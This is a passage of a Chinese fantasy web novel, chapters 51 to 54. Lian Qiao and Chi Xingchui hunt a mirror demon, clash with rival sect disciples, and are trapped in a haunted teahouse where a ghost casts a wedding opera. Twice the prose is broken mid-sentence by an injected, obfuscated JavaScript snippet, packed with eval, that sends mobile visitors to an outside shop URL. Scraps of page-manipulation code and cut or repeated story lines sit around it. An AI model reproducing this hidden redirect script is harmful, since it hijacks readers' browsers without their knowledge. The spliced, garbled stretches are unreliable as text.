连乔指着地上,那里本来有镜魔被破开后留下的镜子碎片,原本碎片在地上铺开,清晨光线昏暗,但是镜片仍旧反射出细碎的光泽。 不仅是镜子残留下的镜片消失,连乔总感觉还有别的地方不对。 “山神像的碎片也不见了。” 迟星垂蹲下来,那里本来有三座山神像,一座大像,两座小像,大像完好,小像被镜魔和童元宝打斗的时候磕碎。 山神像磕碎的地上有两个凹陷,迟星垂伸手捏住一块土,拇指和食指轻微捻了一下。 连乔也蹲下来,“有问题?” “这里有魔气残留。” “谁?” 便在此时,旁边“哐当”一声响动,有一个白色人影在门后闪过。 51.第 51 章 连乔和迟星垂跟着那白影跑了很久,那人对这里很熟,七拐八拐后,在一个悬崖拐角处将两个人丢下。 “那个人可能是谁呢?是过来取镜魔碎片的?” 迟星垂道,“这件事比较棘手。” “魔气和灵气不同,魔气可以自我修复自我繁殖,如果要处理魔族,就一定要清理得彻底,但凡留下一丝魔念,都有可能被重来的魔气反扑。” 方才迟星垂伤了,但如果镜魔伪装成功,吸收了他们的灵力,就可以将他们的灵力转为己用。 破镜难重圆,镜魔却随时能够重新合并修复。 刚才那个白影不仅带走了镜魔碎片,他是想修复镜魔? 他还带走了山神像的碎片,难道桐花岭还有的魔人。 两个人绕着山神庙走了一圈,没有发现什么线索,成英轩追镜魔离开,现在也联系不上。 “就是这里吗?” “是说这里是灵玉师姐最后出现的地方。”云招摇拿着灵盘,抬头看着破败的山神庙,“就是这里。” 同月伸手扇了扇鼻子,“一股劣质香火味,这里人烟稀少的,还有人来这里上香么?” 云招摇道:“这里住了不少村民,村民依靠大山生活,所以拜山神。” “你们进去看看,没什么问题我们就走。”同月抱着胳膊站在一边,“这里味道太重,我就不进去了。” 迟来风站在云招摇后面,拉住一直往前冲的心上人,“别急,这山林地广人稀,香火不盛,不知道庙里有没有别的山鬼或精怪,你一个小姑娘家,不要一个人这么莽,我陪你进去。” 云招摇顿了顿,“好的。” 同月抱着胳膊,“呦,别舞到我面前行不行,肉麻不?” 迟来风“呵”了一声,不理会同月,继续充当云招摇的护花使者。 云招摇推开门,“吱呀”一声,香灰让她咳嗽好几声,她吸了吸鼻子,在庙里转了一圈,并没有发现什么。 “什么也没有。”迟来风道,“看来,真如陈灵玉所说,这里很安全。” “果然如此。”云招摇也松了一口气,“师姐也给剑宗传消息说自己没事,太好了。” “虽然是乌龙一场,但是一切有惊无险,实在是再好不过。”云招摇将罗盘收起,一直皱起的眉头也慢慢舒平。 迟来风一直陪着她,看着她像一只兔子一样活泼,不由地勾起嘴唇。 他喜欢她,因为她天真简单,一眼就能看到底,在她身上看不到那些虚虚绕绕,只有单纯的简单的快乐。 云招摇退出山神庙,“罗盘上显示,除此之外还有另外一个山神庙,在桐花岭的另一头,我们要去看看吗?” 同月抱着胳膊,“看什么,陈灵玉不都说了没事吗,看完一次还要继续看什么东西?” 云招摇不喜欢同月咄咄逼人的脾气,她抿一下嘴没有说话。 白祺向来傲慢,但是在同月面前,嘴毒的习惯收敛了不少。她不喜欢同月,但是又不敢惹她不高兴,想说什么,又压了回去,转过头望着林锦绣。 林锦绣会意,但是她胆子最小,更不敢反驳同月。 最后还是云招摇站出来,“同月师姐,虽然灵玉师姐说她没事,但是没见到她本人,还是会让人不放心。” “不放心什么?陈灵玉多大的人了,比你们几个都厉害,她自己没有危险的概念,还要你们这么手把手找她?” “你们到底走不走,不走我走了。” 她还要去找成英轩那假小子算账。 上次剑宗比试,她不仅输了剑灵碎片,还丢了脸,以前她才是六弟子中最漂亮最优秀的,没想到这次给那个贴脸皮的野小子出尽了风头。 成英轩那家伙绝对是故意的,自己因为死了灵兽,又失了青蛟,一直不在状态,所以才会输了比试。 她明明知道自己那么想要那把剑的碎片,还敢半路截胡?她们俩不对付很久了,她绝对是故意的! 而且这次比试,杨师兄还对成英轩的剑法赞赏有加,夸她有大家之气。 同月越想越咽不下这口气,本来还想趁着危险给成英轩放放阴招,让她以后少沾惹自己的东西,但是没想到陈灵玉说自己没事。 这下阴招也不用放了。 同月不是怕惹事的人,她不能来阴的,就直接来明的,怕什么,真打起来,成英轩最多也就够和她平手。 同月不愿意再在无所谓的事情上浪费时间,她要去找成英轩。 云招摇本来也想再往山里再看看,但想一想同月说得也对,陈灵玉对战经验多,她说没事,应该就不会有事。 最后仍旧是迟来风当和事佬,“实在不放心,我们就过去转转,这边风景雅致,就当是赏风景了。” 同月翻了个白眼,“嘁。” 云招摇感激地望了他一眼,迟来风朝她眨了一只眼。 连乔跟着迟星垂满山找成英轩,奇怪的是,显示成英轩就在这一带,但无论如何也找不到其他人踪影。 为什么这里除了山神庙有一点点魔气之外,其他地方没有任何异常。 可是有镜魔那种大魔在,不至于什么也没留下。 不一定是没留下,更像是……被清理了。 成英轩他们追着镜魔满山跑,就算是蹭,也会留下一些印记,不可能像现在一样,什么线索也没有。 很可能和那个白衣人有关。 镜魔破碎,山神像破碎,在不经意间全被清理掉……桐花岭,极有可能不止一个镜魔一个人。 越往深山里路越窄,到最后周围都生起了雾。 连乔又闻到一股香味,淡淡的,有点甜,很好闻。 她转过头来,迟星垂也停下脚步,很明显也闻到了这个味道。 这个味道有点像茉莉花,也有点像栀子花,很清新,在雨后更显得清冽。 不知什么时候雾气散去,一座茶楼呈现在眼前,茶楼外还站着几个人,有三个人身上穿着乾元剑宗弟子服,另外三个人衣饰不同,非常华贵,在这荒郊野岭破败茶楼的映衬下,更加突兀了。 “你怎么在这?” 一个声音响起,连乔一看,是女主团一群人。 出声的是白祺,她眼尖,最先看到连乔。等到看清站在连乔身后的迟星垂,她原来的嚣张又被压过去,语气也温柔起来,“星垂师兄?” 她皱起眉,脸部重新塑起的皮肤非常不自然。 星垂师兄为什么又和连乔走在一起,他们俩之间很熟么? 云招摇也很吃惊,“星垂师兄?” 她走上前,“师兄你怎么在这里?” 迟星垂道:“陈姑娘在桐花岭出事,我们过来察看发生了什么。” 云招摇笑着道,“好巧啊师兄,我们也是。” 云招摇面上不动声色,实际上将连乔扫了一遍。 连乔现在带着面纱,她的脸似乎是受伤了,面纱下面还包了一块纱布,整个人包得严严实实,只留下一双狐狸眼。 虽然看不见她的脸,但是狐狸眼媚眼如丝,一直盯着人看的时候格外勾人。 迟来风的目光从云招摇身上移到连乔身上,又慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他母亲钟蕴也是乾元剑宗一峰峰主,钟蕴死后,他直接入宗,后又拜虞南子为师。 迟星垂无心入剑宗同龄之榜,也向来不参与排榜,若是真刀实枪起来,杨无溟也未必能一直独占榜首。 同月再如何也要给迟星垂一个面子。 “呵呵。”她冷笑一声,不再说话,转身踏入茶楼。 迟来风摇了摇扇子,“哎,同月,你不是说这座茶楼没什么古怪么,不值得我们进去……” “哎,算了,还是进去瞧一瞧吧。”迟来风转过头对云招摇眨眼,“走。” 方才找到这茶楼,同月嫌麻烦不愿意进去,云招摇想去看看里面有什么,正愁着怎么让同月进去呢,正好解决这件事。 当然,如果迟星垂那家伙不在后面就更好。 白祺走在云招摇身边,脑袋一直往后瞥,“招摇,迟师兄什么时候和连乔那妖女关系那么好的?” 林锦绣自从进了茶楼后,就一直情绪紧张,她缩着脖子,“迟师兄一直都是独来独往的,他交什么朋友咱们管的上什么?” 白祺望着连乔扑闪的眼睛,“果然是狐狸精,这么会勾引人,也不知道为什么迟师兄愿意正眼看她。” 林锦绣:“啊?” 云招摇也很吃惊,“白祺你……” 白祺理直气壮:“怎么了,我说得不对吗?连乔那种货色,怎么能配得上迟师兄?” 迟星垂霁月清风,如山涧之清泉,胜初冬之白雪,连乔死妖女一个,名声又臭又烂,师兄怎么可能成为她朋友? 林锦绣觉得话说得太过了,“白祺,师兄和谁在一起,是师兄自己的事。” “难道我说得不对吗?”白祺瞪林锦绣一眼,“你觉得连乔配得上师兄?” “好了,不说了,茶楼里面有人。”云招摇不喜欢连翘也不想再谈论她,她提醒白祺看前面,几个人的目光这才被茶楼吸引。 52.第 52 章 连乔的目光也放到茶楼上。 这是原书里的茶楼? 原书中,这个时候,云招摇和迟来风一起历练,在桐花岭被寄生在山神像内的精怪困住,云招摇差一点被精怪抓回去当压寨夫人。 云招摇宁死不从,在和精怪打斗过程中负伤,得亏是迟来风及时赶到,才将她救下。 迟来风为云招摇挡剑,就是在这里。 但是原书中遇到的只是比较厉害的普通精怪,和镜魔没关系,更没有提到那神秘的白衣人。 连乔转了转眼珠,也跟着那几人进了楼。 茶楼外面看着不大,进去后倒是空旷,不过里面破败不堪,灰尘积了一层,一脚一个脚印。 “这里什么也没有。”云招摇望着纹丝不动的罗盘,“罗盘没有指示,看来没什么危险。” 看上去确实没有危险,但是在这罕无人迹的荒山老林,突然出现这样一个老楼,本身就是一件不合逻辑的事。 连乔不冲在前面,也不留在最后,前面最危险,站在后面总觉得有一道目光在盯着自己。 “啧。” 同月抱着胳膊,蔻丹有一下没一下点在胳膊上,“东张西望什么?” 连乔老实回答:“没望你。” “要是害怕就赶紧退回你的子午谷,乾元剑宗可不需要胆小鬼。” 连乔按住在腕上转了一圈的镯子,“师姐,你不觉得周围很奇怪很危险吗?” “这种地方能有什么危险,也是,对你这种修为这种能力,确实稍微一点麻烦就叫危险。” “是啊师姐,我这个人谨慎,你也要谨慎小心一些,不要轻敌,这次桐花岭的东西不是成英轩哦,对你点到为止。” 同月歪嘴冷笑,“真是有趣。” 白祺轻声问云招摇,“她们俩怎么狗咬狗了?” 云招摇:“不清楚。” 白祺:“哈哈,太有意思了。” 一踏进茶楼,“吱呀”一声,门从外面被关上,无论如何都打不开。 连乔问:“直接把门踹开呢?” “有结界。”迟星垂道,“这茶楼本身就是一个独立的异界空间,就算踹开了门,我们也出不去。” “可是……”云招摇拿着罗盘,“罗盘上没有显示这里有危险。” 迟星垂道:“罗盘由日悬磁针制作而成,基本上可以辨别所有的灵力和妖气,但是如果是日悬针也没有分辨过的灵力,罗盘就会陷入紊乱。” “还有一种。”连乔想起来,“如果是在结界内,周围磁场紊乱,达到一种微妙的平衡,罗盘也同样辨别不出来。” 除此之外,如果外界灵力过于汹涌,直接将日悬针扭坏,也会造成罗盘失灵。 之前迟星垂给她几沓手卷,手卷里就有记录几种辨灵罗盘失灵的情况。 杨无溟和同月不再说话,迟来风摇着扇子若有所思。 白祺从鼻子里冷哼一声,“日悬针是神器,这罗盘又是我们剑宗特制的极品法器,哪里像你说的那么玄乎,再说了,我可没听先生说过磁场紊乱会对它造成影响。” 杨无溟道:“不,确实有这几种情况,但是概率极小,剑宗罗盘自制造出来,就没有遇到这么复杂的情形。” 白祺不再说话了。 这次杨无溟本是不参加桐花岭历练的,但是同月坚持要来,同月师姐追他追得紧,他与同月之间现在正处暧昧阶段,便也跟了过来。 云招摇往罗盘里灌了一把灵力,在灵气的指引下,罗盘转了一圈,又回到原来的位置。 灵盘正常运转。 她传进去的灵力很微弱,不管是周围灵力强相互牵制,还是日悬针已坏,两个结论都不成立。 “罗盘没有损坏,周围也一切平静。”云招摇往周围看了一圈,“应该问题不大。” “不要迷信教条,真正遇到危险的时候,我们所学的东西和你的经验不会救人。”连乔道,“遇到没见过的情况,更要打起十二分的警觉。” 这话明显让云招摇很不舒服,她皱起眉头。 连乔一直鲁莽,横冲直撞,现在做事谨慎且有条理,倒是成长了不少呢。 白祺护着云招摇,“如果我没记错,你也没出来几次,现在就这么摆出大架子,我倒要看看你有什么本事。” 连乔抱着胳膊,脸色不虞。 她确定了,女主团这群人就是在故意霸凌她。 当初原主连翘和云招摇有龃龉,连翘想拿云招摇是妖修这一点来要挟她,当然最后不仅没有要挟成功,还被云招摇反将一军,被大家发现她拜剑宗作弊,弄得连翘神憎鬼厌。 但事实上连翘并不针对云招摇,她只是想入乾元剑宗,入宗失败后她也没有因此针对云招摇,也没有暴露云招摇的身份。 云招摇有妖族血脉的秘密泄露,是在一年后的大妖王秘境中。 原主得罪过云招摇,云招摇也报了仇,两个人已经平账了,结果到现在她还一直针对自己? 不是说她聪慧善良么,这算哪门子的聪慧善良? 原书有问题吧?是不是对女主有什么圣光滤镜? 连乔对自己不友好的人向来不惯着,“我只是好心提醒,你们爱信不信,反正到时候死了,也不用我来收尸。” 云招摇冷声道,“连谷主,说话请不要这么难听。” “你们说我就可以,我说你们就不行,怎么着,你以为你们人多我怕你们啊?” “我们没有……” 迟来风:“现在不是吵架的时候,这里很奇怪,先找出口吧。” 他看出来了,云招摇和连乔不对付,谁也不让谁,两个人再在一起,恐怕会口舌不断。 他喜欢云招摇,自然不舍得她受委屈。 至于连乔……虽然是个疯婆子,但是也是个姑娘,他同样不忍心让这么美的姑娘和大家闹得不可开交。 迟来风摇着扇子,“这茶楼很大,里面分为后园和前楼,我们分开行动,看能不能找到什么线索。” “招摇,你同我一起。” 迟来风情商很高,事情处理得很圆满,也很照顾云招摇的小情绪。 云招摇有时候脆弱又别扭,情绪一眼看到底,没有那些弯弯绕绕,很有意思。 “招摇,我也跟你一起。”白祺和云招摇和连体婴儿一样,一直不分开,林锦绣自然也跟着迟来风云招摇一起。 同月、杨无溟去了后园。 连乔和迟星垂去了茶楼二楼。 茶楼看着破,实际上更破,楼梯摇摇欲坠,一踩上去就是沉闷的一声“吱呀”。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368679|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 二楼拐角处也放着一尊神像,没有燃香,外面结了一层蜘蛛网,连乔用手拂开蛛网,才发现神像和之前山神庙中间的那尊大神像一模一样。 中间有一处空台,看上去像是唱戏或者是看台的地方,再往上还有三楼,楼梯盘旋上去,黑漆漆的一片。 “咿呀~” 不知从什么地方,传来一声诡异的女子戏音。 连乔一个激灵,“迟星垂,你听到了吗?” “听到什么?” 连乔脸色一冷,“你真没有听到?” “嘭!” 不等迟星垂回答,看台上的幕布忽然落下来。 那幕布原本就十分破旧,红色的,褪成铁锈色,破了几个洞。挂幕布的木杆也破,可能是年代已久,幕布扫开的时候,木头“咔咔”响。 紧接着传来梆子声,又传来敲锣打鼓的声音,周围回荡着嬉嬉闹闹的杂乱的声音。 又有人吆喝,“要上台啦,要上台啦……” “新娘子来啦……” “啊!”连乔汗毛倒竖,瞬间壁虎一样背贴在墙上,谨慎地望着戏台。 空的。 幕布落下来,但是没有人唱戏,梆子声越来越快,越来越快,充满了紧急的催促。 如果真是冲出来一个精怪,又或者是真来了什么妖物,连乔不觉得害怕,但这种看不见摸不着对方,却充斥中式恐怖的地氛围感,让她全身的汗毛都竖了起来。 好在迟星垂站在她面前,挡住她的视线。 这个“连翘”,除了怕高,最怕的就是这些神神鬼鬼。 “迟、迟星垂……有、有、有声音,说、说新娘子来了。” 她壮着胆子问,“新、新娘子……你、你看到了吗?” 迟星垂道:“没有。” 连乔:“那,那声、声音从哪、哪来的?” 她的声音里传来明显的颤音。 迟星垂转头,望着蜷缩在背后的人,“你还好吗,你要不要先休息一下。” “我没事。”连乔死鸭子嘴硬,“我一点事也没有。” 糊弄的时候是真的糊弄,但认真起来也非常认真,迟星垂伸出手,“你起来吧。” 连乔抬头看着他。 怎么办,腿软起不来。 半晌后,连乔伸手,一把将迟星垂推开,“我这里不重要,你快去看看那戏台上有什么,我在这里等你。” 迟星垂:“?” 你不是还嘴硬说没事么? “不行啊,那戏台这么诡异,看上去很危险。”他蹲下来,“师妹,我需要一个帮手。” “有危险?那我更不能去……咳咳……” 连乔清了清嗓子,“我的意思是,师兄,你很厉害也很照顾后辈,遇到危险当然是冲在我前面,你去看看吧,师妹我留在这里盯着,这里也不对劲。” 迟星垂往周围看一圈,“师妹,这里什么也没有,危险在前面。” “有的,有危险。”连乔道,“你没注意到危险,我需要留在这里再仔细检查一番。” 正说着,背后有窸窸窣窣的声音,连乔屏住呼吸,“我后面是不是有人?” 迟星垂目光扫过她往她背后看去,“不是人。” 连乔:“啊……” 53.第 53 章 不是人? 不是人那是什么? 这时候连乔又有力气了,她“唰”一声蹿起来,绕过来躲在迟星垂背后。 迟星垂:“?” 有人陆陆续续从一楼上来,不,不是人,是一堆幽魂,那些人浑身散着幽蓝的灵光,像飘忽不定的鬼火。 连乔看得又双腿一软。 “师妹,你这是怎么了?” 连乔仍旧坚强,“这里有毒,我可能中毒了,头晕。” 迟星垂不清楚,连乔为何如此害怕幽灵山鬼之类,之前在胧月秘境,遇到人形猿和青蛟,也没见过她这样紧张惶恐。 鬼火越来越多,慢慢匀散到戏台前面,有人站着有人坐下,等着戏台上的戏开唱。 又有一声戏音,和京剧的腔调很像,但拖的音极长,“请新娘子登场~新娘子哪里去了~~~” 戏台前的人窃窃私语,“是啊,新娘子,新娘子哪里去了?” “新娘子呢?” “新娘子在哪呢?找找新娘子?” “啊……” 有一声轻叹,“是在那里吗?” 忽然间,几十双眼睛齐齐盯过来,望着连乔和迟星垂。 连乔心中的恐惧到达了极点,连手都是颤抖的。 “不用怕,只是游魂。” 迟星垂扶住她,连乔感觉到掌心有一股温暖的力量传来,像借酒楼的安神香,无声无息间平息躁动和不安。 “被魔气侵扰后,情绪和妄念都会不断扩大,也更容易受到周围的影响。” 连乔摸了摸脸上被镜魔割破的伤口,原来魔气还有这种作用? “这些游魂怎么办?”连乔望着那些乌压压的一片鬼影,还是害怕。 好在被迟星垂安抚后,能够控制自己的身体,连乔又在芥子里抓了一把符,这符是来桐花岭之前默非画的,专驱邪祟鬼怪。 “先不要轻举妄动。”迟星垂道,“这些游魂没有恶意,可能是破开这结界的关键,伤了他们不知道会发生什么。” 连乔:“……不能伤,也出不去?” 难道要一直待在这里么? 让他们一直在盯着自己…… 不,她拒绝。 “先上去看看。”迟星垂道,“这些人都在等着看戏,说不定能去戏台上找到什么。” 连乔:“我们要去找新娘子?” “嗯。” 连乔浑身上下,都写满了抗拒。 戏台、冤魂、鬼怪、新娘……所有的恐怖元素都集齐了。 虽然鬼魂在这里几乎没什么攻击力,又没有真实形体,比她之前遇到的其他危险威胁都小,但是连乔是现代人,她对这种充斥着中式灵异元素的东西有着天然的恐惧。 可是眼下除了去找新娘子,没有别的办法破局出去,她也就牙一咬,跟着迟星垂走到戏台后面。 迟星垂微微侧头,看到背后的人,连乔脸色苍白,亦步亦趋跟在他后面,不停东张西望。 他脚步放慢些,帮她挡住戏台后面的视线。 “里面有人吗?”连乔也不往里看,目视前方,只看迟星垂的背。 “没有。” 幕后有一块空房间,有两张桌子和四只椅子,都很破旧,铺了一层厚厚的灰。 戏台下面又传来窸窸窣窣的声音,连乔心中惶恐,“我们快下去吧?” 台下人忽然高声呼喊,“来了,来了,戏班子的人来了,好戏马上要开始了~~~” “你快坐下!” “可是前面没位置了。” “没位置那我们就站着。” 幽魂又重新归于安静,这次是过于安静。 连乔转过头来,看着一堆盯着自己看的鬼魂。 “迟星垂,他们好像在看着我们。” “不是好像。”迟星垂拉着连乔往幕布后一躲,“这群人在等外面的戏班子来唱戏,这里没有外来人,除了……” “除了我们?” “不会他们说的新娘子是……” “师兄?你们怎么也在这里?” 白祺从幕后的房间里探出头,“招摇快看,我找到师兄他们了。” 又看到云招摇他们几个人,连乔觉得晦气,她扭头就走。 扭到一半,又扭了回来。 相比较之下,女主团虽然讨厌,但是不吓人。 “师兄,你们找到什么线索了吗?”云招摇道,“我们方才被一个黑衣人追赶,那个人神出鬼没,我们慌乱之下误闯到了这里。” “而且那个人很奇怪,一遇到他,罗盘就失效了。” 云招摇望向迟星垂,“师兄,你这里有什么发现吗?” 迟星垂将方才他们遇到的情况简述一遍。 云招摇很吃惊,“唱戏?这里……唱什么戏?” 正说着,连乔刚开始听到的戏音又从背后传来,又尖又细,“啊,新娘子新郎官他们都来了,让我们等一下,新娘子和新郎官化好妆就上台了~~~” 连乔又蹿到人群中间,让自己四面八方都有人。 同样胆小的还有林锦绣,林锦绣也瑟瑟发抖,“这、这是……什么啊?” 不仅有鬼气,还有魔气,甚至有灵气…… “好像是很多灵力杂糅在一起的东西。”连乔有妖族独有的敏锐,一开始可能不太能明晰这是什么,但是见了几次,终于辨认出来。 罗盘失灵的原因,应该就是这个! 因为里面的灵力太杂糅,日悬针指向哪个都对,指向哪个又都不对,所以才崩溃了! “你又知道了?”白祺出声嘲笑,“看来你鼻子跟狗一样灵嘛!” 连乔:“你的意思是,你连狗都不如?” “你怎么说话的?!” “哎呀,难道我说中了,所以你急了狗叫了?” “你这死妖女,我撕烂你的嘴!” “哦哟呦,这位师姐不得了啊,无视宗规要欺辱后辈,长淮长老好啊,一大把年纪,还有衣钵弟子啊,后继有人啊!” 白祺一时间被骂懵了,“什么意思?” 连乔:“哈哈……” 怎么说呢,云招摇很喜欢和白祺在一起,连乔觉得原著女主的形象可能就是这么来的。 跟白祺这种暴脾气且大脑有点短路的人混在一起,云招摇就显得格外善良且聪慧。 白祺冲上来就要推她,“你笑是什么意思,死妖女你今天给我说清楚!” “白祺师妹。” 没等白祺动作,迟星垂将连乔拉在身后,拦住要掐架的二人。 虽然连乔战斗力非常猛,以一敌十都不成问题,但迟星垂还是不想让她在这种事上生气。 情绪不稳会造成魔毒不受控制。 并且他也确实不喜欢白祺他们对待连乔的态度和方式。 上一世的连翘和她们也有冲突,是拜宗门那一次,之后连翘回子午谷没再出来,和白祺她们之间的渊源不深。 白祺针对她,一方面是连乔和她们有过龃龉,另一方面,大概是因为——她一半妖修的身份。 连翘的母亲是妖修,亲生父亲不详,她本身有一半妖修血统,所以在修真界格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399783|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外不受待见,但是连翘一直很尊重母亲,也从不以妖修身份为耻,对这一点一直坦然。 如果迟星垂没记错,云招摇也是妖修,她是在快要与迟来风成婚时才被发现真实身份,她心思敏感,因此与迟来风之间爆发一场大争吵。 白祺因为连翘是妖修而针对她,并一直因此而反复为难她,实属过分。 连乔一看迟星垂为自己说话,非常识眼色,立刻跳到迟星垂身后,语气委屈,“师兄,师兄啊,你看她们~” “我知道我出身不好,以前还是混子,所以一直不受师姐们待见,可是我和这些师姐们已经有仇报仇有怨报怨,我们两清了,她们怎么可以这么坏,这么针对我……” 一直以来能以一敌三的连乔说变脸就变脸,张扬上挑的眉眼微微蹙起,立刻变成一副受欺负的小白花模样。 “师兄……我、我做错什么了吗?” 她的演技过于高超,非常精湛,委屈的模样跃然纸上。 “妖女,你还装……” 你方才骂人的时候可不是这样! “白祺姑娘。”迟星垂道,“不管她是不是装的,你一而再再而三地挑衅她是事实,连乔是冲虚学院正规弟子,也是我的朋友,我不希望再看到这种事。” 白祺顿了一下,“师兄……” 之前她听说过一些风言风语,说师兄和连乔走得近,虽然她一直不信,但今日发生这些事,她发现,那些传言好像都是真的。 少女的眼圈红了,生硬地捏了一下拳头,一直以来的嚣张气焰也肉眼可见地收敛。 云招摇抿一下嘴唇。 “兄长,这就是你不对了。” 迟来风摇着扇子,又猛地一收,在虎口来回敲两下,“两位姑娘是口舌之争,没有发生什么冲突,这件事就随着她们去。” “况且么……”他护在云招摇和白祺前面,“姑娘家家的斗嘴,也是情趣,白祺姑娘只是真性情,开玩笑罢了,你和我就不要插手了。” 白祺揉了揉眼睛,严肃如迟星垂,这次话说得这么重,委实过分了! 连乔只是冲虚学院一个普通弟子,连乾元剑宗的人都算不上,师兄宁愿帮一个外人也不帮她! 还是迟来风师兄好些,从来不会说重话,说话处事也圆滑的多。 迟来风给了一个台阶让白祺下来,白祺的脸色好多了,云招摇也对他报以微笑。 白祺性格最烈了,一点委屈也受不得,这次回去不知道要生气多久呢。 “连乔姑娘,白祺只是和你开玩笑,没有恶意的,你也就不要生气了。” 迟来风继续装老好人,他和稀泥和惯了,包括原文中他迎娶云招摇后,后以兰欺辱云招摇,他也秉持和稀泥态度,让云招摇受了不少委屈。 迟星垂反问:“你觉得这个玩笑好笑么?” “迟来风,我知道你没什么本事,都是靠云岭想方设法用天材地宝才堆到你现在的位置,乾元剑宗的八大天才子弟评选,也是你花钱拉票买的,是吧?” 迟来风立刻变了脸色,“你这是什么意思?” “开玩笑而已。”迟星垂淡淡一笑,“这不是真的,我乱说的,你大度些,别往心上去。” 天呐! 连乔企图压住的嘴唇还是没压住,嘴角往上一勾,对着迟星垂比了个大拇指。 果然回旋镖扎到自己身上才知道痛,迟来风一直叫她大度,原来他自己这么大度? 也不知道原主怎么想的,会看上这种喜欢说教爹味满满的男人。 “新娘子化好妆了吗?”又传来一声戏音。 54.第 54 章 “啊,还没有准备好啊……” 那声音停顿片刻,又接了一句轻笑,“这么多人,是不知道新娘子是谁吗?” “那我就来挑新娘子吧~” 一道白影虚浮在半空,他绕着房间转一圈,把每个人都看了一遍。 “新娘子,谁是新娘子呢?” 那虚影在空中来回飘了两圈,绕到众人里面,最后停在连乔面前。 林锦绣松了一口气。 连乔装死,不动。 白影绕着连乔转了三圈,催促她,“新娘子,你该上台了……” 连乔还是不动,那白影暴躁起来,几乎贴在连乔脸上,“新娘子!” 这下连乔装傻也装不过去了,她浑身僵硬,很久之后才把手抬起来,食指指着自己,“我?” “就是你呀。”那白影很高兴,他飘在前面,给连乔引路,“新娘子,走吧~” “今天的戏是《梅娘成亲》呢……” 什么梅娘成亲? 这什么戏? “新娘子快去换衣服,要化漂亮的妆,等会儿我们从洞房花烛开始唱,我最喜欢这一出戏啦。” 白影勾着连乔铜镜那里走,铜镜又旧又破,上面泛着诡异的青绿的光。 泛着古旧光芒的铜镜?这又是什么恐怖元素! “等等!” “嗯?” “我不是新娘子!”连乔赶紧开口,“你为什么选我做新娘?” “你当然应该是新娘子……”那白影绕着她转圈,“你穿得最漂亮,长得也最漂亮,新娘子就应该是最漂亮的,所以你就是新娘子……” 连乔:“谢谢啊。” “但是我不是新娘子。”连乔很高兴别人夸她漂亮,但虚荣心和命相比,那是一文不值。 “你说新娘子最漂亮,我不是最漂亮的。” 连乔将面纱取下,那里有一处见骨的伤口,这伤口好像比一开始要更严重了。 “新娘子是最漂亮的,我脸上有疤,所以我不能当新娘子。” “啊?”那白影看到连乔脸上的伤后,猛地往后退一步,很嫌恶一样跳了很远。 他喃喃道,“你这样当然不是新娘子,那谁是新娘子?” 白影离连乔远远地,又在其他几个人面前开始转。 连乔伸手指迟星垂,“是他……他最漂亮。” 迟星垂:“?” “是他啊!”连乔向白影推荐迟星垂,“你快看,这是我师……姐。” “你看,他皮肤最白,腿最长,睫毛最翘,眼睛最有光,还有这脸……这么精致的脸,简直像玉石雕刻的,你到哪里能找第二个?” 迟星垂笑了,“我谢谢你。” 连乔:“师……姐,你不入地狱,谁入地狱?” 她没迟星垂打架强,反应也没他快,还很怕鬼,要去做鬼新娘,总不能让她上吧? 白影转到迟星垂面前,往前微微躬身,仔细看他的脸,琢磨了一下,“但是她……好像不太像新娘子。” “像啊,像的!”连乔:“师……姐平时练功,比较中性英气,换上凤冠霞帔绝对美得不可方物。” 连乔忽悠人的本领很强,那白影也像是有点神志不清的样子,听不出连乔好话还是歹话。 “而且师……姐还没有上妆,他没上妆都这么漂亮,上了妆那还得了!”连乔道,“选她,选她做新娘子吧。” 迟星垂扯住连乔,将她往后拉,“好了,你可以不用再说了。” 云招摇道:“连乔姑娘,你这样把迟师……推出去,不好吧?” 连乔:“那你去?” 云招摇噤声。 白影望着迟星垂若有所思,“那好吧,你就是新娘子了……” “选好了新娘子,接下来就是新郎官。” 望着脸色青白的云招摇,迟来风看出了她的紧张,握住了她的手,“不用怕,我在这里。” 云招摇转过头,迟来风对她安慰一笑。 白影自言自语,“你们俩拉着手,像一对,你们俩肯定不能做新郎官。” 他一转头,指着林锦绣,“那你做新郎官吧。” 林锦绣也浑身僵硬,“啊?我?” 他又转回去,对着云招摇和迟来风,“那你们俩,就是李生的爹娘了。” “好了,新娘子、新郎官、父母都在,好戏要开始了~~~” 底下也开始欢呼,“哦~~~要开始咯,好戏要开始咯。” 连乔吐了一口气,自己不用去演新娘子,也不用对着铜镜化妆,安全了。 那白影又飘回来绕着连乔看了一圈,连乔四肢僵硬,像戴了木头护具。 “你们俩,都长得丑,身上还有很难闻的毒气……” 连乔:嗯? 什么毒气? 不等她细想,那白影又道,“新娘新郎他们都到齐了,你们俩没有用,那就把你们杀掉吧……” “杀掉你们……嘻嘻,杀掉。” 那白影要飘过来,连乔赶紧道,“你在说什么,我怎么会没用呢?!” 她一蹦三尺远,怕那白影真的过来杀人,“不是啊,你不觉得还缺点什么吗?” 白影的身形晃了晃,像是在摸脑袋,“缺什么?” “缺……媒婆?” 连乔本来以为逃过一劫,现在却落入另一个火坑,简直欲哭无泪,“新娘子和新郎结婚,怎么能没有媒婆呢?我很会说话的,骂人很厉害的,最适合当新娘子和新郎官的媒婆!” 白影没听懂,“啊?” 